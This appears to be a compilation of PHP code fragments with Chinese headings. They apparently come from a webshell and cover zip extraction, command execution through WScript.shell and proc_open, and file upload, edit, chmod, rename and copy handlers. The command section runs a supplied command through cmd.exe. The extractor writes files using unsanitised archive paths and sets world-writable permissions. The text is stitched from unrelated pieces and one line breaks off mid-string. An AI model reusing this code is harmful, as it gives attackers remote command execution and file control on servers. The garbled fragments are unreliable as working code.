public function ExtractFile($header,$to,$zip) {
$header = $this->readfileheader($zip);
if (substr($to,-1)!="/") $to.="/";
if ($to=='./') $to = '';
$pth = explode("/",$to.$header['filename']);
$mydir = '';
for($i=0;$i<count($pth)-1;$i++) {
if (!$pth[$i]) continue;
$mydir .= $pth[$i]."/";
if ((!is_dir($mydir) && @mkdir($mydir,0777)) || (($mydir==$to.$header['filename'] || ($mydir==$to && $this->total_folders==0)) && is_dir($mydir)) ) {
@chmod($mydir,0777);
$this->total_folders ++;
echo 'Extract : ',$mydir,'<br>';
}
}
if (strrchr($header['filename'],'/')=='/') return;
if (!($header['external']==0x41FF0010)&&!($header['external']==16)) {
if ($header['compression']==0) {
$fp = @fopen($to.$header['filename'], 'wb');
if (!$fp) return(-1);
$size = $header['compressed_size'];
while ($size != 0) {
$read_size = ($size < 2048 ? $size : 2048);
$buffer = fread($zip, $read_size);
$binary_data = pack('a'.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
fclose($fp);
touch($to.$header['filename'], $header['mtime']);
} else {
$fp = @fopen($to.$header['filename'].'.gz','wb');
if (!$fp) return(-1);
$binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
Chr(0x00), time(), Chr(0x00), Chr(3));
fwrite($fp, $binary_data, 10);
$size = $header['compressed_size'];
while ($size != 0) {
$read_size = ($size < 1024 ? $size : 1024);
$buffer = fread($zip, $read_size);
$binary_data = pack('a'.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
$binary_data = pack('VV', $header['crc'], $header['size']);
fwrite($fp, $binary_data,8); fclose($fp);
$gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("Cette archive est compress
php 批量过滤post,get敏感数据
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
function stripslashes_array(&$array) {
while(list($key,$var) = each($array)) {
if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
if (is_string($var)) {
$array[$key] = stripslashes($var);
}
if (is_array($var)) {
$array[$key] = stripslashes_array($var);
}
}
}
return $array;
}
/php调用com 组件wscript.shell执行dos命令
p('<hr width="100%" noshade /><pre>');
if ($execfunc=='wscript' && IS_WIN && IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."rn");
fwrite($pipes[0], "exitrn");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
php编辑,上传,修改文件属性代码
m('文件上传 '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? '成功' : '失败'));
}
// 编辑文件
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,'w');
m('保存文件 '.(@fwrite($fp,$filecontent) ? '成功' : '失败'));
@fclose($fp);
}
// 编辑文件属性
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m('原始文件不存在');
} else {
$newperm = base_convert($newperm,8,10);
m('文件编辑 '.(@chmod($pfile,$newperm) ? '成功' : '失败'));
}
}
php 重命名与复制文件
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname.' 目标文件已经存在或者原始文件不存在');
} else {
m(basename($oldname).' 重命名 '.basename($nname).(@rename($oldname,$nname) ? ' 成功' : '失败'));
}
}
// 复制文件
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m('目标文件已经存在或者原始文件不存在');
} else {
m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' 成功' : '失败'));
}